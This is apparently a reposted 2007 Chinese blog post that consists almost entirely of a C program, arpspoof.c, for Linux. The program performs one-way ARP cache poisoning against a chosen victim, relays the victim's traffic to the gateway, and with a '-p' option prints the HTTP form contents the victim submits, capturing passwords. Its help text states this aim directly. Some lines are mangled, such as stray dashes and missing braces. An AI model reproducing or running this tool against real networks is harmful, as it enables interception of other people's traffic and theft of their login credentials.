linux平台下arp欺骗的实现

来源:互联网 发布:麦多商城系统源码 编辑:程序博客网 时间:2024/04/27 23:08

linux平台下arp欺骗的实现  

2007-10-19 23:03:14|  分类:Linux|  标签:|字号 订阅

arpspoof.c: 
=================== 
  #include <sys/ioctl.h>   
  #include <stdio.h>   
  #include <string.h>   
  #include <netdb.h>   
  #include <arpa/inet.h>   
  #include <netinet/in.h>     
  #include <sys/types.h>   
  #include <sys/socket.h> 
  #include <net/if.h>             /*   use   the   ifreq     */   
  #include <net/if_arp.h>         /*   use   the   arphdr   */   
  #include <net/ethernet.h>       /*   use   the   ethernethdr */   
  #include <pthread.h>   
  #include <netinet/ip.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <ctype.h> 
#include <netinet/tcp.h> 
#include <netinet/if_ether.h> // 用于 ETH_P_ALL 


  #define  BUFSIZE 2048 
  #define  DEF_INTERFACE       "eth0"   
  #define  PACKET_SIZE          2048 
  #define  TIMEER  30 
  #define NIPQUAD(addr) \ 
    ((unsigned char *)&addr)[0], \ 
    ((unsigned char *)&addr)[1], \ 
    ((unsigned char *)&addr)[2], \ 
    ((unsigned char *)&addr)[3]                                                                                  

  struct   arp_hdr {                         //用于arp请求或应答的数据结构 
   
                  //以太网首部     
                  u_char    ether_dhost[ETH_ALEN];     //目标MAC地址   
                  u_char    ether_shost[ETH_ALEN];     //源MAC地址 
                  u_short   ether_type;                //帧类型 
                   
                  //arp                   
                  u_short   ar_hrd;                    //硬件类型 
                  u_short   ar_pro;                    //协议类型 
                  u_char    ar_hln;                    //硬件地址长度 
                  u_char    ar_pln;                    //协议地址长度   
                  u_short   ar_op;                     //ARP opcode (command) 
                  u_char    ar_sha[ETH_ALEN];          //发送端以太网地址   
                  u_char    ar_sip[4];                 //发送端IP地址   
                  u_char    ar_tha[ETH_ALEN];          //目的端以太网地址   
                  u_char    ar_tip[4];                 //目的端IP地址     
                  u_char    padding[18];               //padding   
   
  }; 

  static char http_head[65]={               0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2d, 0x54, 0x79,  //......Content-Ty 
  0x70, 0x65, 0x3a, 0x20, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f,  //pe: application/ 
  0x78, 0x2d, 0x77, 0x77, 0x77, 0x2d, 0x66, 0x6f, 0x72, 0x6d, 0x2d, 0x75, 0x72, 0x6c, 0x65, 0x6e,  //x-www-form-urlen 
  0x63, 0x6f, 0x64, 0x65, 0x64 ,0x0d ,0x0a, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2d, 0x4c,  //coded..Content-L 
                         0x65, 0x6e, 0x67, 0x74, 0x68, 0x3a, 0x20                                                        //ength: 
  }; 
   
  int   fd_arp; 
  u_char     buf[PACKET_SIZE];       
  u_char     bufg[PACKET_SIZE]; 
   
  struct     sockaddr  from,to,to2; 
  static     int password_sniffer=0; 
  u_char     gatewaymac[ETH_ALEN];          //网关以太网地址 
  u_char     victimmac[ETH_ALEN];           //受害者以太网地址 
  u_char     hostmac[ETH_ALEN];           //本机以太网地址                                                                                 


void transfer(); 
int decode_eth(const u_char *buf, int n ); 
void do_password_sniffer(struct ethhdr *eth); 
void arpspoof_thread (); 
void help(); 


void transfer() 

    int listenfd; 
    int n; 
    char buf[BUFSIZE]; 
     /*PF_PACKET LPF(linux packet filter)*/                                                                           
    if ((listenfd = socket(PF_PACKET, SOCK_RAW, 
          htons(ETH_P_ALL))) < 0) 

                                                                                 
          perror("socket"); 
          exit(1); 
    } 
                                                                             
    for (;;) 

          if ((n = recv(listenfd, buf, BUFSIZE, 0)) > 0) 

                 
                decode_eth(buf,n); 
          } 
    } 
     


//解包 
int decode_eth(const u_char *buf,int n ) 

    struct ethhdr *eth = (struct ethhdr *) buf; 
     
    int i; 
    int same_dest,same_source; 
same_dest=0; 
same_source=0; 
   

  for(i=0;i<6;i++) 

if(eth->h_dest[i]!=hostmac[i]) 
break; 
  } 
   
  if(i==6) 
  same_dest=1; 
   
  for(i=0;i<6;i++) 

if(eth->h_source[i]!= victimmac[i]) 
break; 


  } 
  if(i==6) 
  same_source=1; 

  if(same_dest && same_source) //如果收到的来自viticm到网关的包,要完成转发 
  { 
  for(i=0;i<6;i++) 

eth->h_dest[i]=gatewaymac[i]; 
eth->h_source[i]= hostmac[i]; 
  } 
   
   
  if(password_sniffer==1) 


do_password_sniffer(eth); //如果password_sniffer==1要进行密码嗅探 

   
  if((n= sendto(fd_arp,buf,n,0,&to2,sizeof(to2)))< 0) 
{   
         perror("send  rewrite_Gateway_mac\n");   
         exit(-1);   

  }                                                                         
     
    return 0; 


void do_password_sniffer(struct ethhdr *eth) //进行密码嗅探 

    struct iphdr *iph ; 
    struct tcphdr *tcph ; 
    char *http; 
     
int i=0,j; 
j=0; 
u_char length_h,length_l,length; 

// printf("enter do_password_sniffer function!\n"); 
    if(ntohs(eth->h_proto)==ETH_P_IP) //如果是IP包,就进行解码 
  { 
  iph = (struct iphdr *)((u_char *)&eth[1]); 
   
  if(iph->protocol==IPPROTO_TCP) //如果是tcp包     
    { 
    tcph = (struct tcphdr *)((u_char *)&iph[1]); 
     
if(ntohs(tcph->dest)==80 && tcph->doff==5)   //如果是tcp头为20byte的http包 
    { 
     
    http=(u_char *)&tcph[1]; 
    for(i=0;i<65;i++) 
    { 
    printf("%c",*http); 
    if((*http)!=http_head[i]) 
    break; 
    http++; 
    } 
     
     
    if(i==65)//证明此http包里有表单信息 
    { 
    printf("%c",*http); 
    length_h=*http-48; 
    http++; 
    printf("%c",*http); 
     
    length_l=*http-48; 
    length=length_h*10+length_l; 
    printf("\nSource IP Address: %d.%d.%d.%d", NIPQUAD(iph->saddr)); 
    printf("\nDestination IP Address: %d.%d.%d.%d", NIPQUAD(iph->daddr)); 
    printf("\nform content length is %d",length); 
    printf("\nform content is:"); 
    http++; 
    for(j=0;j<length;j++) 
    { 
    printf("%c",*http); 
    http++; 
    } 
    printf("\n"); 
     
    } 
     
    } 
    }     
  } 

   
   
   
   
  void arpspoof_thread () 
  { 
  int n; 
  while(1) 
  { 
      ////////////////////////////////step3 发送arp_response到victim,告诉它gatewayaddr mac是hostwaymac 
       
       if((n= sendto(fd_arp,buf,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
       {   
          perror("arpspoof   v:   gatewaymac is hostmac");   
          exit(-1);   
       }   
       printf(   "arpspoof  v:   gatewaymac is hostmac\n"  );   
       printf(   "-----------------------------------------------------------------------------\n"); 
       
       ////////////////////////////////step5 发送arp_response到victim,告诉它hostmac是gatewaymac 
       
       if((n= sendto(fd_arp,bufg,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
       {   
          perror("arpspoof   v:   hostmac is gatewaymac");   
          exit(-1);   
       }   
       printf(   "arpspoof   v:   hostmac is gatewaymac\n"  );   
       printf(   "-----------------------------------------------------------------------------\n");           
       
       sleep(TIMEER); 
     } 
     
  } 
   
  void help() 
  { 
  printf("*************************************************\n"); 
  printf("**Welcome to use this one-way-arpspoof software**\n"); 
  printf("**                                             **\n"); 
  printf("**        powered by  amy                      **\n"); 
  printf("**              2007-4-17                      **\n"); 
  printf("*************************************************\n"); 
  printf("useage: ./arpspooof        Gateway_ip   victim_ip\n"); 
  printf("means:you can sniffer the packets from victim to Gateway \n"); 
  printf("useage: ./arpspooof   Gateway_ip   victim_ip  -p\n"); 
  printf("means:what victim has entered into http form will print into your screen!\n"); 
   
   
  } 
   
main(int   argc,   char   *argv[])   
  {          
  struct   in_addr   myself, gatewayaddr ,dstaddr;   
  //struct     sockaddr  from,to;   
      int        fromlen;   
      struct     sockaddr_in    *sin_ptr;   
      u_char    *ptr;   
      int        n;   
      //u_char     buf[PACKET_SIZE];       
      //u_char     bufg[PACKET_SIZE];       
      struct     arp_hdr   *arp=(struct arp_hdr *)buf;      
      struct     arp_hdr   *arpg=(struct arp_hdr *)bufg;      
      struct   ifreq     ifr;   
  //int   fd_arp; 
  pthread_t  arp_id,transfer_id; 
  int        i,arp_ret,transfer_ret; 
  char       c;    
      help(); //打印提示信息 
      if (argc<3) 
      {   
         printf("usage:   %s   Gateway_ip   victim_ip\n",   argv[0]);   
         printf("or usage:   %s   Gateway_ip   victim_ip     p\n",   argv[0]); 
         exit(0);   
      } 
     
      if(argc==4 &&(*argv[3])=='p') 
      { 
      password_sniffer=1; 
      printf("\nyou have start password sniffer!\n"); 
      } 
      else 
        password_sniffer=0;    
      gatewayaddr.s_addr =inet_addr(argv[1]); 
      dstaddr.s_addr =inet_addr(argv[2]);    //将IP地址用二进制表示 
       
      if((fd_arp=socket(AF_INET,SOCK_PACKET,htons(0x0806)))<0)  /*   htons   :   0x0806   --   ARP   */   
      {   
         perror(   "arp   socket   error");               
         exit(-1);   
      }   
   
       strcpy(ifr.ifr_name,  DEF_INTERFACE);         /*   ifr_name:Interface   name   */   
       ifr.ifr_addr.sa_family=AF_INET;               /*   ifr_addr:sockaddr   ifru_addr   */   
   
        //获取本机ip地址 
       if(ioctl(fd_arp,SIOCGIFADDR,  &ifr)<0) 
       {   perror("ioctl   SIOCGIFADDR   error");   
           exit(-1);   
      }   
        sin_ptr=(struct  sockaddr_in*)&ifr.ifr_addr;   
       myself=sin_ptr->sin_addr;   
   
        //获取本机MAC地址   
       if (ioctl(fd_arp,SIOCGIFHWADDR,&ifr)<0)   
       {   
            perror("ioctl   SIOCGIFHWADDR   error");   
            exit(-1);   
       }   
   
       ptr=(u_char *)&ifr.ifr_ifru.ifru_hwaddr.sa_data[0]; 
       bcopy(ptr, hostmac, 6); //保存到hostmac地址 
       printf( "host IP  %s  mac %02x:%02x:%02x:%02x:%02x:%02x,",inet_ntoa(myself),*ptr,*(ptr+1),*(ptr+2),*(ptr+3),*(ptr+4),*(ptr+5)); 
       printf( "\n----------------------------------------------------------------------------------\n"); 
       
       printf("now you star arpspoof gateway(%s) <-> ", inet_ntoa(gatewayaddr)); 
       printf(" victim(%s)\n", inet_ntoa(dstaddr)); 
       printf( " ----------------------------------------------------------------------------------\n"); 
      ////////////////////////////////step1 发送arp_request到victim,由它的arp_response得到它的MAC地址存在victimmac中 
      //设置arp的以太网帧头   
      memset(arp->ether_dhost, 0xff, 6);  //将目标MAC地址设为广播地址 
      bcopy(&myself,arp->ether_shost,4);  //????????????????? 
      arp->ether_type=htons(ETHERTYPE_ARP);   
   
       //arp header 
       arp->ar_hrd   =   htons(ARPHRD_ETHER);   
       arp->ar_pro   =   htons(ETHERTYPE_IP);   
       arp->ar_hln   =   6;   
       arp->ar_pln   =   4;   
       arp->ar_op   =   htons(1);   
   
       bcopy(ptr,arp->ar_sha,6);   
       bcopy(&myself,arp->ar_sip,4);   
       bzero(arp->ar_tha, 6);   //目的以太网地址由于未知所以置零 
       bcopy(&dstaddr,arp->ar_tip,4);   
       bzero(arp->padding,18);   
   
       strcpy(to.sa_data, DEF_INTERFACE); 
       strcpy(to2.sa_data, DEF_INTERFACE); 
       if((n= sendto(fd_arp,buf,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0)  {   
          perror("send   arp   request step 1");   
          exit(-1);   
       }   
       
       strcpy(from.sa_data,DEF_INTERFACE);   
       
if (n = recvfrom(fd_arp,buf,PACKET_SIZE, 0,&from,&fromlen)) 
    {   
     
   
         if(arp->ar_op == 0x0200||!memcmp(arp->ar_sip,&dstaddr,4)) //如果是应答包 
         {   
               
                           
              printf(   "step1  get  IP(victim)  %s mac %02x:%02x:%02x:%02x:%02x:%02x,\n", inet_ntoa(dstaddr), 
              arp->ar_sha[0],   arp->ar_sha[1],   
                        arp->ar_sha[2],   arp->ar_sha[3],   
                        arp->ar_sha[4],   arp->ar_sha[5]  );   
              printf(   "-----------------------------------------------------------------------------\n");   
              bcopy(arp->ar_sha, victimmac, 6); //保存mac地址 
          }   
         
      } 
      ////////////////////////////////step2 发送arp_request到gateway,由它的arp_response得到它的MAC地址存在gatewaymac中 
      //设置arp的以太网帧头   
      memset(arpg->ether_dhost, 0xff, 6);  //将目标MAC地址设为广播地址 
      bcopy(&myself,arpg->ether_shost,4);  //????????????????? 
      arpg->ether_type=htons(ETHERTYPE_ARP);   
   
       //arp header 
       arpg->ar_hrd   =   htons(ARPHRD_ETHER);   
       arpg->ar_pro   =   htons(ETHERTYPE_IP);   
       arpg->ar_hln   =   6;   
       arpg->ar_pln   =   4;   
       arpg->ar_op   =   htons(1);   
   
       bcopy(ptr,arpg->ar_sha,6);   
       bcopy(&myself,arpg->ar_sip,4);   
       bzero(arpg->ar_tha, 6);   //目的以太网地址由于未知所以置零 
       bcopy(&gatewayaddr,arpg->ar_tip,4);   
       bzero(arpg->padding,18);   
   
       //strcpy(to.sa_data, DEF_INTERFACE);   
       if((n= sendto(fd_arp,bufg,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
       {   
          perror("send   arp   request step 2");   
          exit(-1);   
       }   
       
      // strcpy(from.sa_data,DEF_INTERFACE);   
       
  if (n = recvfrom(fd_arp,bufg,PACKET_SIZE, 0,&from,&fromlen)) 
    {   
     
   
         if(arpg->ar_op == 0x0200||!memcmp(arpg->ar_sip,&dstaddr,4)) //如果是应答包 
         {   
            printf(   "step2  get IP(gateway)  %s mac %02x:%02x:%02x:%02x:%02x:%02x,\n",inet_ntoa(gatewayaddr), 
                     arpg->ar_sha[0],   arpg->ar_sha[1],   
                        arpg->ar_sha[2],   arpg->ar_sha[3],   
                        arpg->ar_sha[4],   arpg->ar_sha[5]  );   
              printf(   "-----------------------------------------------------------------------------\n");   
              bcopy(arpg->ar_sha, gatewaymac, 6); //保存gatewaymac地址 
     
           
          }   
           
       } 
 
      ////////////////////////////////step3 发送arp_response到victim,告诉它gatewayaddr  mac是hostmac 
      //设置arp的以太网帧头   
      bcopy(victimmac,arp->ether_dhost,6);  //将目标MAC地址设为网关MAC地址 
      bcopy(&myself,arp->ether_shost,4);  //????????????????? 
      arp->ether_type=htons(ETHERTYPE_ARP);   
   
       //arp header 
       arp->ar_hrd   =   htons(ARPHRD_ETHER);   
       arp->ar_pro   =   htons(ETHERTYPE_IP);   
       arp->ar_hln   =   6;   
       arp->ar_pln   =   4;   
       arp->ar_op   =   htons(2);  //应答包 
   
       bcopy(hostmac,arp->ar_sha,6);  //发送为gateway 
       bcopy(&gatewayaddr,arp->ar_sip,4);   
       bcopy(victimmac,arp->ar_tha,6);  //目的为victim 
       bcopy(&dstaddr,arp->ar_tip,4); 
       bzero(arp->padding,18);   
   
       //strcpy(to.sa_data, DEF_INTERFACE);   
       if((n= sendto(fd_arp,buf,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
      {   
          perror("step3  send  response to v arpspoof   gatewaymac is hostmac");   
          exit(-1);   
       }   
       printf(   "step3  send  response to v arpspoof   gatewaymac is hostmac\n"  );   
       printf(   "-----------------------------------------------------------------------------\n"); 
       
       ////////////////////////////////step5 发送arp_response到victim,告诉它hostmac是gatewaymac 
      //设置arp的以太网帧头   
      bcopy(victimmac,arpg->ether_dhost,6);  //将目标MAC地址设为网关MAC地址 
      bcopy(&myself,arpg->ether_shost,4);  //????????????????? 
      arpg->ether_type=htons(ETHERTYPE_ARP);   
   
       //arp header 
       arpg->ar_hrd   =   htons(ARPHRD_ETHER);   
       arpg->ar_pro   =   htons(ETHERTYPE_IP);   
       arpg->ar_hln   =   6;   
       arpg->ar_pln   =   4;   
       arpg->ar_op   =   htons(2);  //应答包 
   
       bcopy(gatewaymac,arpg->ar_sha,6);  //发送为host 
       bcopy(&myself,arpg->ar_sip,4);   
       bcopy(victimmac,arpg->ar_tha,6);  //目的为victim 
       bcopy(&dstaddr,arpg->ar_tip,4); 
       bzero(arpg->padding,18);   
   
       strcpy(to.sa_data, DEF_INTERFACE);   
       if((n= sendto(fd_arp,bufg,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
       {   
          perror("step4  send  response to v arpspoof    hostwaymac is gatewaymac");   
          exit(-1);   
       }   
       
       
         
       printf(   "step4  send  response to v arpspoof    hostwaymac is gatewaymac\n"  );   
       printf(   "-----------------------------------------------------------------------------\n"); 
       
       printf("you have start one way arp spoof \nif you want to stop plese enter the character 'q' !\n"); 
     
       
       arp_ret=pthread_create(&arp_id,NULL,(void *) arpspoof_thread,NULL); 
if(arp_ret!=0) 

printf ("Create arp_ret pthread error!\n"); 
exit (1); 

-
//sleep(5); 
-
transfer_ret=pthread_create(&transfer_id,NULL,(void *) transfer,NULL); 
if(transfer_ret!=0) 

printf ("Create transfer_ret pthread error!\n"); 
exit (1); 

-
       while(1) 
       { 
        if((c=getchar())=='q')//先清理结构 
          { 
        pthread_cancel(arp_id); 
        pthread_cancel(transfer_id); 
         
         
       ////////////////////////////////step5 发送arp_response到victim,告诉它gatewayaddr  mac是gatewaymac (复原) 
       
   
      bcopy(gatewaymac,arp->ar_sha,6);  //发送为gateway 
       
      //strcpy(to.sa_data, DEF_INTERFACE);   
      if((n= sendto(fd_arp,buf,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
      {   
         perror("send  packet to  correct  arpspoof   ");   
         exit(-1);   
      }   
      if((n= sendto(fd_arp,buf,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
      {   
         perror("send  packet to  correct  arpspoof ");   
         exit(-1);   
      }   
      printf(   "stop spoof and correct the arp on vitcim \n"  );   
      exit(0); 
        } 
        } 
         
return; 
}